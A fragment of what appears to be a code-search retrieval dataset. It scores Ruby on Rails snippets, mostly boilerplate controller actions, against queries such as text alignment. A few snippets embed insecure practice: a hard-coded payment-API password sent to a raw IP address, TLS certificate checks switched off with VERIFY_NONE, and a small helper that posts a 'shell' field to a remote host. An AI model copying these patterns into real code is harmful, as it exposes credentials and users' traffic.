}\n end\n end\n end", "title": "" }, { "docid": "c2c6d2f572b3f112dc8d5daacbdeb33c", "score": "0.4690254", "text": "def post; end", "title": "" }, { "docid": "819c226c082cbdde5ab4e609e296bd3c", "score": "0.4689632", "text": "def create\n @enqury = Enqury.new(enqury_params)\n\n respond_to do |format|\n if @enqury.save\n format.html { redirect_to @enqury, notice: 'Enqury was successfully created.' }\n format.json { render :show, status: :created, location: @enqury }\n else\n format.html { render :new }\n format.json { render json: @enqury.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a1ec3278ab7ea31b1295359650823b34", "score": "0.4688935", "text": "def create\n @uitgelicht = Uitgelicht.new(params[:uitgelicht])\n\n respond_to do |format|\n if @uitgelicht.save\n flash[:notice] = 'Uitgelicht was successfully created.'\n format.html { redirect_to(@uitgelicht) }\n format.xml { render :xml => @uitgelicht, :status => :created, :location => @uitgelicht }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @uitgelicht.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "656cef391558da72bc2357d4e3412d23", "score": "0.46860394", "text": "def new\n @chord = Chord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chord }\n end\n end", "title": "" }, { "docid": "a0dc98a969b7b4b8b9f8b3731fede058", "score": "0.46856847", "text": "def post(data)\n uri = URI(@host)\n res = Net::HTTP.post_form(uri, {shell: data})\n # puts res.body\nend", "title": "" }, { "docid": "5635eed0e89af6e4573ae21d7ffe4f82", "score": "0.46851313", "text": "def create\n @cheer = Cheer.new(params[:cheer])\n\n respond_to do |format|\n if @cheer.save\n format.html { redirect_to @cheer, notice: 'Cheer was successfully created.' }\n format.json { render json: @cheer, status: :created, location: @cheer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cheer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5583ceb1698a9bc24c215aa4ee44a271", "score": "0.46844923", "text": "def do_coaps_posted_02\n # get the Base64 of the incoming signed request\n body = IO.read(\"spec/files/vr_00-D0-E5-F2-00-02.vrq\")\n\n env = Hash.new\n env[\"SSL_CLIENT_CERT\"] = cbor_clientcert_02\n env[\"HTTP_ACCEPT\"] = \"application/voucher-cose+cbor\"\n env[\"CONTENT_TYPE\"] = \"application/voucher-cose+cbor\"\n\n $FAKED_TEMPORARY_KEY = temporary_key\n post '/e/rv', :params => body, :headers => env\n end", "title": "" }, { "docid": "242fd7afebefe789d7d33554acb5504b", "score": "0.46811205", "text": "def new\n @cdspp = Cdspp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cdspp }\n end\n end", "title": "" }, { "docid": "9b24d505909128272cbc849a11c0dcb0", "score": "0.46749154", "text": "def create\n @spiel = Spiel.new(params[:spiel])\n\n respond_to do |format|\n if @spiel.save\n format.html { redirect_to(@spiel, :notice => 'Spiel was successfully created.') }\n format.xml { render :xml => @spiel, :status => :created, :location => @spiel }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spiel.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25b0d329c0c4282464d46c661e1b99cd", "score": "0.46740517", "text": "def create\n @chimpaction = Chimpaction.new(params[:chimpaction])\n\n respond_to do |format|\n if @chimpaction.save\n format.html { redirect_to(chimpactions_url, :notice => 'Chimpaction was successfully created.') }\n format.xml { render :xml => @chimpaction, :status => :created, :location => @chimpaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @chimpaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "18d8240219c0965f6cd8f712b12288fe", "score": "0.46666583", "text": "def create\n @rapport = Rapport.new(rapport_params)\n\n respond_to do |format|\n if @rapport.save\n format.html { redirect_to @rapport, notice: 'Rapport was successfully created.' }\n format.json { render :show, status: :created, location: @rapport }\n else\n format.html { render :new }\n format.json { render json: @rapport.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27464f38af6916f5192306db108a5b77", "score": "0.4661884", "text": "def create\n @section_piece_param = SectionPieceParam.new(params[:section_piece_param])\n @section_piece_param['html_attribute_ids'] = params[:html_attribute_ids].join(',') \n respond_to do |format|\n if @section_piece_param.save\n format.html { redirect_to(@section_piece_param, :notice => 'SectionPieceParam was successfully created.') }\n format.xml { render :xml => @section_piece_param, :status => :created, :location => @section_piece_param }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @section_piece_param.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33f3121980e34822ada4b629bf7a1610", "score": "0.46607128", "text": "def create\n @quirk = Quirk.accessible_by(current_ability).new(params[:quirk])\n\n respond_to do |format|\n if @quirk.save\n flash[:notice] = 'Quirk was successfully created.'\n format.html { redirect_to(@quirk) }\n format.xml { render :xml => @quirk, :status => :created, :location => @quirk }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @quirk.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eeb82a0bef7285c4f773b554709818a6", "score": "0.46582508", "text": "def create\n unread\n\n @cart = current_cart\n if @cart.line_items.empty?\n redirect_to :controller=>'main', :action=>'index', :notice => \"Your cart is empty\"\n return\n end\n\n\n @order = Order.new(params[:order])\n @order.add_line_items_from_cart(current_cart)\n\n @line_item = LineItem.find_by_cart_id(@cart)\n #getting branches\n supermarket = @line_item.product.seller.id\n @branches = Branch.find_all_by_seller_id(supermarket)\n\n # ******* sending request to PegPay server ******************\n # call the http post method\n @date = \"#{Time.now}\"\n url = URI.parse('https://41.190.131.222/pegpaytelecomsapi/PegPayTelecomsApi.asmx?WSDL')\n \n post_xml ='<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <PostTransaction xmlns=\"http://PegPayTelecomsApi/\">\n <trans>\n <DigitalSignature>'+ \"#{digital_signature}\" +'</DigitalSignature>\n <FromTelecom>'+ \"#{@order.pay_type}\" +'</FromTelecom>\n <ToTelecom>'+ \"#{@order.pay_type}\" +'</ToTelecom>\n <PaymentCode>1</PaymentCode>\n <VendorCode>MABIRA</VendorCode>\n <Password>81W30DI846</Password>\n <PaymentDate>'+ Date.today.strftime(\"%m/%d/%Y\") +'</PaymentDate>\n <Telecom></Telecom>\n <CustomerRef>'+\"#{@order.phone_no}\"+'</CustomerRef>\n <CustomerName>'+\"#{@order.name}\"+'</CustomerName>\n <TranAmount>'+\"#{@cart.total_price}\"+'</TranAmount>\n <TranCharge>0</TranCharge>\n <VendorTranId>1</VendorTranId>\n <ToAccount></ToAccount>\n <FromAccount>'+\"#{@order.phone_no}\"+'</FromAccount>\n <TranType>PULL</TranType>\n </trans>\n </PostTransaction>\n </soap:Body>\n </soap:Envelope>'\n\n peg_pay_status_code = make_http_request(url, post_xml)\n puts \"status code============================================\" \n puts peg_pay_status_code\n puts \"status code============================================\"\n # ******* end of sending request to yo! payments server ******************\n message=getTransactionStatus(peg_pay_status_code )\n message\n\n respond_to do |format|\n if peg_pay_status_code == 0\n if @order.save\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n Notifier.order_received(@order).deliver\n flash[:notice] = 'Thank you for your order.' \n format.html { redirect_to(:controller=>'main', :action=>'index') }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n else\n flash[:notice]= message\n\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a85e8f259a4e01aeb1a2839b5fc3dbb", "score": "0.46581662", "text": "def create\n @pid = inqury_params[:pbuyer_id]\n @inqury = Inqury.new(inqury_params)\n\n respond_to do |format|\n if @inqury.save\n format.html { redirect_to inqury_path(@inqury, :pid=>@pid), notice: 'Inqury was successfully created.' }\n format.json { render :show, status: :created, location: @inqury }\n else\n format.html { render :new }\n format.json { render json: @inqury.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a92f0b94d442c93163e9833c3e6fbc6e", "score": "0.4657498", "text": "def create\n @st_pi = StPi.new(params[:st_pi])\n\n respond_to do |format|\n if @st_pi.save\n flash[:notice] = 'PIS criado.'\n format.html { redirect_to(@st_pi) }\n format.xml { render :xml => @st_pi, :status => :created, :location => @st_pi }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @st_pi.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ec7caf4de69d497414813b1effea9ef", "score": "0.46557674", "text": "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "title": "" } ]
4db4af6bd3cf57350d7bad7fee7c2d37
Item alignment the center
[ { "docid": "5b2048944311c4c95a9eb5afca3e537f", "score": "0.0", "text": "def centralize?\n false\n end", "title": "" } ]
[ { "docid": "2495c4e40867dc8f6e7f3506bc02115d", "score": "0.69014025", "text": "def center\n {:align => 'center'}\nend", "title": "" }, { "docid": "ff83791c8af80bab07cea834b6ba09d7", "score": "0.6865164", "text": "def center_across!\n self.horizontal_align = :merge\n end", "title": "" }, { "docid": "de73cb1bb039a859a3212b181ded634c", "score": "0.67584693", "text": "def set_center_across(arg = 1)\n set_text_h_align(6)\n end", "title": "" }, { "docid": "bcd779d29b870db6d4cd5215700ae6cc", "score": "0.6725465", "text": "def align_center(*args)\n Align.align_center(*args)\n end", "title": "" }, { "docid": "489444cbd248aa24b003340961f1e7cf", "score": "0.671345", "text": "def applyAlignment; end", "title": "" }, { "docid": "df44adf927b6f3f5b86d5e9fcfed88ff", "score": "0.66733277", "text": "def set_center_across(flag = 1)\n set_text_h_align(6)\n end", "title": "" }, { "docid": "9d7d8610efd9bde6ab2f22fe4a704bcb", "score": "0.6671544", "text": "def set_center_across(_flag = 1)\n set_text_h_align(6)\n end", "title": "" }, { "docid": "6c69b957f41deddeef5136696940c839", "score": "0.65814936", "text": "def realign_center\n\t\t\t\tnil\n\t\t\tend", "title": "" }, { "docid": "6c69b957f41deddeef5136696940c839", "score": "0.6580979", "text": "def realign_center\n\t\t\t\tnil\n\t\t\tend", "title": "" }, { "docid": "a8cd717e7f99bfc1ac7051e67318b6ae", "score": "0.6156335", "text": "def test_alignCenter\n [@window, @sprite, @bitmap].each{|container|\n c = CLabel.new(container, Rect.new(0, 24, @window.contents.width, 24), \"Center\", 1)\n c.draw()\n }\n return true\n end", "title": "" }, { "docid": "687385386feeb61dbd341ab2eba248eb", "score": "0.61330634", "text": "def alignment; end", "title": "" }, { "docid": "687385386feeb61dbd341ab2eba248eb", "score": "0.61330634", "text": "def alignment; end", "title": "" }, { "docid": "05435f04e797fd255a04c0e8808765ba", "score": "0.6132044", "text": "def center(width, padstr = \" \")\n justify width, :center, padstr\n end", "title": "" }, { "docid": "bd88a06bcd6bf6ebfc5d5d3fc9a4fa17", "score": "0.6125318", "text": "def text_align\n default_opt = -'left'\n ta = options[:text_align]\n iz = ->(it, kl) { it.is_a?(kl) }\n\n if ta.nil?\n Array.new(rows, default_opt)\n elsif iz[ta, String] || iz[ta, Symbol]\n [\n Array.new(items.count, ta),\n Array.new(rows - items.count, default_opt)\n ].reduce(&:+)\n elsif iz[ta, Array]\n ta + Array.new(rows - ta.count, default_opt)\n end\n end", "title": "" }, { "docid": "f00987eb2552a84f01ab7b66c05bfa64", "score": "0.605087", "text": "def align(value)\n attributes[:align] = value\n end", "title": "" }, { "docid": "a1dee77e49079d9fbf6861eba3379fac", "score": "0.6037175", "text": "def center\n @center\n end", "title": "" }, { "docid": "24408926eaae1e09f522bbc3f676bcac", "score": "0.6014224", "text": "def center_horizontally\n @hcenter = 1\n end", "title": "" }, { "docid": "44ed4921fca916c7ae2c461619d883cd", "score": "0.5996565", "text": "def block_align\n @block_align\n end", "title": "" }, { "docid": "122bfdb3b8b504c0139306c367b28b37", "score": "0.5990673", "text": "def alignment\n @alignment\n end", "title": "" }, { "docid": "d6e046d1e7a0b02a65bd43a2b2727f9d", "score": "0.597213", "text": "def center\n result[:center]\n end", "title": "" }, { "docid": "3e09abcaafec2704f9f51d723db03028", "score": "0.5959476", "text": "def align_class(attr)\n entry = entries.present? ? entry_class.new : nil\n case column_type(entry, attr)\n when :integer, :float, :decimal\n 'right' unless association(entry, attr, :belongs_to)\n when :boolean\n 'center'\n end\n end", "title": "" }, { "docid": "1e90dbd575be8dc4aa0e434368240e99", "score": "0.5893817", "text": "def align_class(attr)\n entry = entries.present? ? entry_class.new : nil\n case column_type(entry, attr)\n when :integer, :float, :decimal\n 'right' unless association(entry, attr, :belongs_to)\n when :boolean\n 'center'\n end\n end", "title": "" }, { "docid": "778fb5f7b59804f559d05ac431849ca6", "score": "0.5879109", "text": "def aligner\r\n @alignment == :left ? '-' : ''\r\n end", "title": "" }, { "docid": "4d75b43286c7b8142f80880a6da18286", "score": "0.5870039", "text": "def center\n end", "title": "" }, { "docid": "4d75b43286c7b8142f80880a6da18286", "score": "0.5870039", "text": "def center\n end", "title": "" }, { "docid": "cae80fce431ac8e5038f0b85b432cb3b", "score": "0.58665985", "text": "def center_align(text)\n text.lines.map {|line| line.strip.center(100)}.join(\"\\n\")\n end", "title": "" }, { "docid": "30b6f84577bb36f278fb1e58b5338f7d", "score": "0.5844111", "text": "def centre\n location = element.wd.location\n size = element.wd.size\n {'y' => (location['y'] + (size['height']/2)), 'x' => (location['x'] + (size['width']/2))}\n end", "title": "" }, { "docid": "0438b23b599f7c6749e1076e629462b8", "score": "0.5816483", "text": "def align_class(attr)\n entry = entries.first\n case column_type(entry, attr)\n when :integer, :float, :decimal\n 'right' unless association(entry, attr, :belongs_to)\n when :boolean\n 'center'\n end\n end", "title": "" }, { "docid": "0e8e12f23208cf9301c92601fff00f36", "score": "0.57495815", "text": "def __center(to_center) #:nodoc:\n tabs = 0\n width = @columns - @left_margin - @right_margin\n centered = []\n to_center.each do |tc|\n s = tc.strip\n tabs = s.count(\"\\t\")\n tabs = 0 if tabs.nil?\n ct = ((width - s.size - (tabs * @tabstop) + tabs) / 2)\n ct = (width - @left_margin - @right_margin) - ct\n centered << \"#{s.rjust(ct)}\\n\"\n end\n centered.join('')\n end", "title": "" }, { "docid": "ed9c177085d37efe5028b342e77f1c56", "score": "0.5731178", "text": "def center\n end", "title": "" }, { "docid": "7f62301c7c423eb7348f035898587cb6", "score": "0.5723267", "text": "def center_align(text)\n width = 200\n puts text.center(width)\nend", "title": "" }, { "docid": "b579b5450fcd92faeefb7009dea7e011", "score": "0.5715181", "text": "def centre_aligned?\n value == :centre\n end", "title": "" }, { "docid": "3eb458ad6f9e254c11e546f41db186cb", "score": "0.57139087", "text": "def center\n [@left + width / 2, @bottom + height / 2]\n end", "title": "" }, { "docid": "8dbd93c9a6cfbdc3736ccdd511a38036", "score": "0.57134116", "text": "def center(size)\n (@raw_columns - size) / 2\n end", "title": "" }, { "docid": "8dbd93c9a6cfbdc3736ccdd511a38036", "score": "0.57134116", "text": "def center(size)\n (@raw_columns - size) / 2\n end", "title": "" }, { "docid": "40973ad9b76001e63dfe9b337388dbb8", "score": "0.5701698", "text": "def centre\n string.center(width, pad)\n end", "title": "" }, { "docid": "cb61d4e8299301aa7370342bdd8e809e", "score": "0.56782335", "text": "def center\n\t\t@sub_cursor = SUB_NONE\n\tend", "title": "" }, { "docid": "2af43fa122f9da108d755eada3af3638", "score": "0.5670685", "text": "def graphic_center(index = @index)\n center = self.width / 2\n if index > @index\n center += (@emblems[index].width + @emblems[@index].width) / 2\n (@index + 1..index - 1).each { |i|\n center += @emblems[i].width # @emblems[i].zoom_x\n }\n elsif index < @index\n center -= ((@emblems[index].width + @emblems[@index].width) / 2)\n (index + 1..@index - 1).each { |i|\n center -= @emblems[i].width # @emblems[i].zoom_x\n }\n end\n center\n end", "title": "" }, { "docid": "9701ec5a6e079c90f4ee5a3f913591a9", "score": "0.5667717", "text": "def center\n @center || @override_center\n end", "title": "" }, { "docid": "d18eb04ac1ec66d49e083a15958f723f", "score": "0.56666315", "text": "def align_center(text, width, fill: SPACE, separator: nil)\n return text if width.nil?\n sep = separator || text[LINE_BREAK] || NEWLINE\n\n each_line(text, sep) do |line|\n width_diff = width - display_width(line)\n if width_diff > 0\n right_count = (width_diff.to_f / 2).ceil\n left_count = width_diff - right_count\n [fill * left_count, line, fill * right_count].join\n else\n line\n end\n end\n end", "title": "" }, { "docid": "40d50cd264fcc58bd136a4944d6944d4", "score": "0.56514907", "text": "def center_children\n if @children.empty?\n return \n end\n number_of_children = @children.size \n total_width_of_children = 0\n @children.each do |child|\n total_width_of_children = total_width_of_children + child.width + 5\n end\n total_width_of_children = total_width_of_children - 5\n\n start_x = (@width - total_width_of_children) / 2\n @children.each do |child|\n child.x = start_x \n start_x = start_x + child.width + 5\n end\n end", "title": "" }, { "docid": "889d94bf7bdb7006d721e984208ceec4", "score": "0.56188536", "text": "def left_aligned(text)\n @center ? text.rjust(terminal_width / 2) : text\n end", "title": "" }, { "docid": "dba138c1e4c0ac7ca1673ef37a16e4f7", "score": "0.5613017", "text": "def test_set_center_across\n # default state\n assert_equal(0, @format.text_h_align)\n\n # method call then center_across is set. if arg is none, numeric, string, whatever.\n @format.set_center_across\n assert_equal(6, @format.text_h_align)\n end", "title": "" }, { "docid": "331e8b2c5ce0d438f4c0c31d3d846920", "score": "0.56040335", "text": "def centre\n [(height / 2), (width / 2)]\n end", "title": "" }, { "docid": "331e8b2c5ce0d438f4c0c31d3d846920", "score": "0.56040335", "text": "def centre\n [(height / 2), (width / 2)]\n end", "title": "" }, { "docid": "331e8b2c5ce0d438f4c0c31d3d846920", "score": "0.56040335", "text": "def centre\n [(height / 2), (width / 2)]\n end", "title": "" }, { "docid": "92bc682ca26bb16abccc9012ea901cd9", "score": "0.5594108", "text": "def column_align colindex, lrc\n raise ArgumentError, \"wrong alignment value sent\" if ![:right, :left, :center].include? lrc\n @calign[colindex] = lrc\n get_column(colindex).align = lrc\n @repaint_required = true\n #@recalc_required = true\n end", "title": "" }, { "docid": "1c96a5352ed7e6dd59e9af502a6cf767", "score": "0.5569389", "text": "def center(to_center = nil)\n to_center = @text if to_center.nil?\n __center([to_center].flatten)\n end", "title": "" }, { "docid": "67734d3458b98e1a621dbff257395519", "score": "0.5565112", "text": "def center\n center_x\n center_y\n end", "title": "" }, { "docid": "857a2c97b67b2261cb7378361f4b0b7e", "score": "0.5564881", "text": "def centred_d\n (default / 2) - (length / 2)\n end", "title": "" }, { "docid": "adb1379623d00c2344dcca37063987c4", "score": "0.5557595", "text": "def alignment\n @__alignment__\n end", "title": "" }, { "docid": "b0ec36f8102c1ba9d3c17fce77de5a31", "score": "0.55551696", "text": "def vertAlign; end", "title": "" }, { "docid": "b0ec36f8102c1ba9d3c17fce77de5a31", "score": "0.55551696", "text": "def vertAlign; end", "title": "" }, { "docid": "fd0e4723b3ff22defe7e0dfc01c62d78", "score": "0.55366534", "text": "def align(alignment, *args)\n\t\tself.send((alignment.to_s + \"just\").to_sym, *args)\n\tend", "title": "" }, { "docid": "000b884094aa540c0dcba203bdcbfbe2", "score": "0.54898703", "text": "def with_alignment(horizontal, vertical)\n @cell.change_horizontal_alignment horizontal\n @cell.change_vertical_alignment vertical\n self\n end", "title": "" }, { "docid": "9eaf36655542fbc449827eafb5e07e8a", "score": "0.54757935", "text": "def align\n do_parse() unless @align\n @align\n end", "title": "" }, { "docid": "9eaf36655542fbc449827eafb5e07e8a", "score": "0.54757935", "text": "def align\n do_parse() unless @align\n @align\n end", "title": "" }, { "docid": "e721b29b211f38307c953a20b267d41b", "score": "0.54728645", "text": "def process_text_align( selector, property, value )\n\t\tvalue = \"right\" if (value == \"end\")\n\t\tvalue = \"left\" if (value == \"start\")\n\t\tprocess_normal_style_attr( selector, property, value )\n\tend", "title": "" }, { "docid": "381ce89e685f2faf9dab6c0c75f5de57", "score": "0.5471966", "text": "def center\n @center||calculate_center\n end", "title": "" }, { "docid": "e652bc0b37c426a5094df9fab616c676", "score": "0.5461371", "text": "def set_center\n xpos = @x * CELL_SIZE + (CELL_SIZE / 2)\n ypos = @y * CELL_SIZE + (CELL_SIZE / 2)\n @rect.center = [xpos, ypos]\n end", "title": "" }, { "docid": "fa5bf2122d2c8d0b6f8e160a7149162d", "score": "0.54606426", "text": "def center(width, padstr = ' ')\n raise ArgumentError, 'zero width padding' if padstr == ''\n return self if width <= self.size\n width -= self.size\n pad1 = width / 2\n pad2 = width - pad1\n (padstr*pad1)[0,pad1] + self + (padstr*pad2)[0,pad2]\n end", "title": "" }, { "docid": "696a1626f7d676e8a4c0eaa8020a2d15", "score": "0.54532856", "text": "def align(with, pad=0) \n \n end", "title": "" }, { "docid": "db7399eee7b243d50e743bd75f8802a4", "score": "0.5445625", "text": "def test_alignMiddleCenter\n [@window, @sprite, @bitmap].each{|container|\n uc = UCEnemyGraphic.new(container, Rect.new(0, 192, @window.contents.width, 288), $data_enemies[1], 1, 255, 1)\n uc.draw()\n }\n return true\n end", "title": "" }, { "docid": "5724f156133229456b7d5192b253266b", "score": "0.544042", "text": "def center(to_center = nil)\n to_center = @text if to_center.nil?\n to_center = [to_center].flatten\n\n tabs = 0\n width = @columns - @left_margin - @right_margin\n centered = []\n to_center.each do |tc|\n s = tc.strip\n tabs = s.count(TAB)\n tabs = 0 if tabs.nil?\n ct = ((width - s.size - (tabs * @tabstop) + tabs) / 2)\n ct = (width - @left_margin - @right_margin) - ct\n centered << \"#{s.rjust(ct)}\\n\"\n end\n centered.join('')\n end", "title": "" }, { "docid": "63ab677ae9c665a806e0abc3125a5f0d", "score": "0.54262847", "text": "def print_with_align_center(students)\n puts \"align center\".center(50)\n students.each do |student|\n puts \"#{student[:name]} (#{student[:cohort]} cohort)\".center (50) \n end\n end", "title": "" }, { "docid": "54a2d0301eeb4e255bdc586af9b5f237", "score": "0.54176164", "text": "def align=(value)\n @style.textAlign = value\n end", "title": "" }, { "docid": "2904825854abe315a69d9e2232b1b737", "score": "0.54131234", "text": "def center\n [width / 2.0, height / 2.0]\n end", "title": "" }, { "docid": "2f861debdee6ead08c6b7920f18a16ba", "score": "0.5395124", "text": "def center\n go_to @target.clip.center\n end", "title": "" }, { "docid": "dc9c2fbbb746dc6df53091914ecdbe18", "score": "0.5381886", "text": "def to_center\n self.x = Graphics.width/2 - self.width/2\n self.y = Graphics.height/2 - self.height/2\n end", "title": "" }, { "docid": "dc9c2fbbb746dc6df53091914ecdbe18", "score": "0.5381886", "text": "def to_center\n self.x = Graphics.width/2 - self.width/2\n self.y = Graphics.height/2 - self.height/2\n end", "title": "" }, { "docid": "72cc179715b7240ebeee1f2dafa436ca", "score": "0.5379764", "text": "def center_horizontally\n @page_setup.center_horizontally\n end", "title": "" }, { "docid": "72cc179715b7240ebeee1f2dafa436ca", "score": "0.5379764", "text": "def center_horizontally\n @page_setup.center_horizontally\n end", "title": "" }, { "docid": "6541afb426b673cf6d80ccc55fff2e22", "score": "0.53791046", "text": "def align\n stage.store :align\n end", "title": "" }, { "docid": "f4a2d9633afd9b7fff45b847a25151d5", "score": "0.53783184", "text": "def mycenter(text, len, tlen)\n b = ((len - tlen) / 2).floor\n a = len - tlen - b\n \"#{' ' * b}#{text}#{' ' * a}\"\nend", "title": "" }, { "docid": "322f410cab3abca8b6e14b455bd8a0a8", "score": "0.5368758", "text": "def align= location\n self.horizontal_align = location\n rescue ArgumentError\n self.vertical_align = location rescue ArgumentError\n end", "title": "" }, { "docid": "035cda981cd49d2cc9c4060b3d97a236", "score": "0.5366859", "text": "def center\n\t\t\t\tverts = each_vert.to_a\n\t\t\t\tverts.reduce(&:+) / verts.size\n\t\t\tend", "title": "" }, { "docid": "f1135a1ad180f6bbfca55dbe15a85824", "score": "0.53521657", "text": "def contents_alignment(current_position)\n @dsl.absolute_top = current_position.y + (@dsl.size || 12)\n end", "title": "" }, { "docid": "27d14de0ef75d703e41c61d56ae7adf6", "score": "0.5349085", "text": "def center; [(width - Entity::WIDTH) / 2, (height - Entity::HEIGHT) / 2]; end", "title": "" }, { "docid": "8b37436fda410ba3c6873aae3d064e05", "score": "0.5338614", "text": "def align\n alignment = Vector[0,0]\n r = $roids.sort {|a,b| self.distance_from(a) <=> self.distance_from(b)}\n roids = r.first(MAGIC_NUMBER)\n roids.each do |roid|\n alignment += roid.velocity\n end\n alignment /= MAGIC_NUMBER\n @delta += alignment/ALIGNMENT_ADJUSTMENT\n end", "title": "" }, { "docid": "4f09ba8427e8a0b58c91c06dc7f0960b", "score": "0.5330946", "text": "def center\n if parent!=nil\n @x, @y = parent.x+parent.sx/2-@sx/2, parent.y+parent.sy/2-@sy/2\n else\n @x, @y = 0.5 - @sx/2, 0.5 - @sy/2\n\tend\n end", "title": "" }, { "docid": "b80155bfffa8a0a53c71b5fe4099e29f", "score": "0.53299916", "text": "def column_align colindex, align\n get_column(colindex).align = align\n end", "title": "" }, { "docid": "b80155bfffa8a0a53c71b5fe4099e29f", "score": "0.53299916", "text": "def column_align colindex, align\n get_column(colindex).align = align\n end", "title": "" }, { "docid": "a6390fc643043a0c79eeb57af855d95a", "score": "0.531684", "text": "def align_left(*args)\n Align.align_left(*args)\n end", "title": "" }, { "docid": "26e8d222b88571763b803cc23ca28984", "score": "0.53083146", "text": "def alignment(workbook, _center, heading, _colors)\n worksheet = workbook.add_worksheet('Alignment')\n\n worksheet.set_column(0, 7, 12)\n worksheet.set_row(0, 40)\n worksheet.set_selection(7, 0)\n\n format01 = workbook.add_format\n format02 = workbook.add_format\n format03 = workbook.add_format\n format04 = workbook.add_format\n format05 = workbook.add_format\n format06 = workbook.add_format\n format07 = workbook.add_format\n format08 = workbook.add_format\n format09 = workbook.add_format\n format10 = workbook.add_format\n format11 = workbook.add_format\n format12 = workbook.add_format\n format13 = workbook.add_format\n format14 = workbook.add_format\n format15 = workbook.add_format\n format16 = workbook.add_format\n format17 = workbook.add_format\n\n format02.set_align('top')\n format03.set_align('bottom')\n format04.set_align('vcenter')\n format05.set_align('vjustify')\n format06.set_text_wrap\n\n format07.set_align('left')\n format08.set_align('right')\n format09.set_align('center')\n format10.set_align('fill')\n format11.set_align('justify')\n format12.set_merge\n\n format13.set_rotation(45)\n format14.set_rotation(-45)\n format15.set_rotation(270)\n\n format16.set_shrink\n format17.set_indent(1)\n\n worksheet.write(0, 0, 'Vertical', heading)\n worksheet.write(0, 1, 'top', format02)\n worksheet.write(0, 2, 'bottom', format03)\n worksheet.write(0, 3, 'vcenter', format04)\n worksheet.write(0, 4, 'vjustify', format05)\n worksheet.write(0, 5, \"text\\nwrap\", format06)\n\n worksheet.write(2, 0, 'Horizontal', heading)\n worksheet.write(2, 1, 'left', format07)\n worksheet.write(2, 2, 'right', format08)\n worksheet.write(2, 3, 'center', format09)\n worksheet.write(2, 4, 'fill', format10)\n worksheet.write(2, 5, 'justify', format11)\n\n worksheet.write(3, 1, 'merge', format12)\n worksheet.write(3, 2, '', format12)\n\n worksheet.write(3, 3, 'Shrink ' * 3, format16)\n worksheet.write(3, 4, 'Indent', format17)\n\n worksheet.write(5, 0, 'Rotation', heading)\n worksheet.write(5, 1, 'Rotate 45', format13)\n worksheet.write(6, 1, 'Rotate -45', format14)\n worksheet.write(7, 1, 'Rotate 270', format15)\nend", "title": "" }, { "docid": "3443c806697138163d2f3425d05724b4", "score": "0.5305056", "text": "def centered\n lowest_x = @cells.to_a[0][0]\n lowest_y = @cells.to_a[0][1]\n @cells.each do |pos|\n if pos[0] < lowest_x then lowest_x = pos[0] end\n if pos[1] < lowest_y then lowest_y = pos[1] end\n end\n \n new_cells = @cells.deep_clone\n new_cells.each do |pos|\n pos[0] -= lowest_x\n pos[1] -= lowest_y\n end\n \n centered_job = Job.new @width, @height\n centered_job.cells = new_cells\n return centered_job\n end", "title": "" }, { "docid": "c164024e900f94c0e0f0c6b4f3187af5", "score": "0.5300768", "text": "def set_align(align = 'left')\n case align.to_s.downcase\n when 'left' then set_text_h_align(1)\n when 'centre', 'center' then set_text_h_align(2)\n when 'right' then set_text_h_align(3)\n when 'fill' then set_text_h_align(4)\n when 'justify' then set_text_h_align(5)\n when 'center_across', 'centre_across' then set_text_h_align(6)\n when 'merge' then set_text_h_align(6) # S:WE name\n when 'distributed' then set_text_h_align(7)\n when 'equal_space' then set_text_h_align(7) # ParseExcel\n\n when 'top' then set_text_v_align(0)\n when 'vcentre' then set_text_v_align(1)\n when 'vcenter' then set_text_v_align(1)\n when 'bottom' then set_text_v_align(2)\n when 'vjustify' then set_text_v_align(3)\n when 'vdistributed' then set_text_v_align(4)\n when 'vequal_space' then set_text_v_align(4) # ParseExcel\n else nil\n end\n end", "title": "" }, { "docid": "abff3a8fde664a9e3770c4d985a6094a", "score": "0.52956694", "text": "def center \n\t\t\tPosition.new maxx - cols / 2, maxy - lines / 2\n\t\tend", "title": "" }, { "docid": 